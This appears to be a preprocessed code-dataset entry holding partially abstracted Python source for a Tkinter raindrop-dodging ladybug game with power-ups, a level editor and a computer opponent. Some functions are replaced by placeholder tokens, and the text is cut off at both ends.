token>\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\n<function token>\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\n<function token>\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\n<function token>\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\n<function token>\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n\n\ndef addExtraCoconut(data):\n if data.time % 18 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(755, 0))\n if data.time % 37 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n\n\n<function token>\n<function token>\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef AIRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconutsAI1:\n coconut.draw(canvas)\n for coconut in data.coconutsAI2:\n coconut.draw(canvas)\n canvas.create_text(50, 40, text='Computer', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 1', font='Arial 15 bold', fill\n ='yellow')\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n AIWinner(canvas, data)\n drawHome(canvas, data)\n\n\ndef AIWinner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='The Computer Won :(',\n font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! You Won!', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef scoreboardKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\ndef scoreboardTimerFired(data):\n difficultyTimerFired(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\ndef initAI(data):\n data.AITY = 225\n data.easyX = 200\n data.easyY = 300\n data.medX = 400\n data.hardX = 600\n data.enterY = 450\n data.difS = 4\n data.difM = 6\n data.difH = 8\n data.last = 500\n data.enterX = 575\n data.PUT = 450\n data.RST = 350\n data.YST = 250\n\n\n<function token>\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\n<function token>\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\ndef hitScaryBug(data):\n for bug in data.scaryBug:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if (bug.y >= data.cy - 1.5 * data.r and bug.y <= data.cy + 1.5 *\n data.r):\n if (bug.x >= data.cx - 1.5 * data.r and bug.x <= data.cx + \n 1.5 * data.r):\n data.hit = True\n data.lives = 0\n data.levelEditorLives = 0\n if data.mode == '2Player' or data.mode == 'AI':\n if (bug.y >= data.player1Y - data.r and bug.y <= data.player1Y +\n data.r):\n if (bug.x >= data.player1X - data.r and bug.x <= data.\n player1X + data.r):\n data.winner = 'player2'\n if (bug.y >= data.player2Y - data.r and bug.y <= data.player2Y +\n data.r):\n if (bug.x >= data.player2X - data.r and bug.x <= data.\n player2X + data.r):\n data.winner = 'player1'\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\n<function token>\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\n<function token>\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= 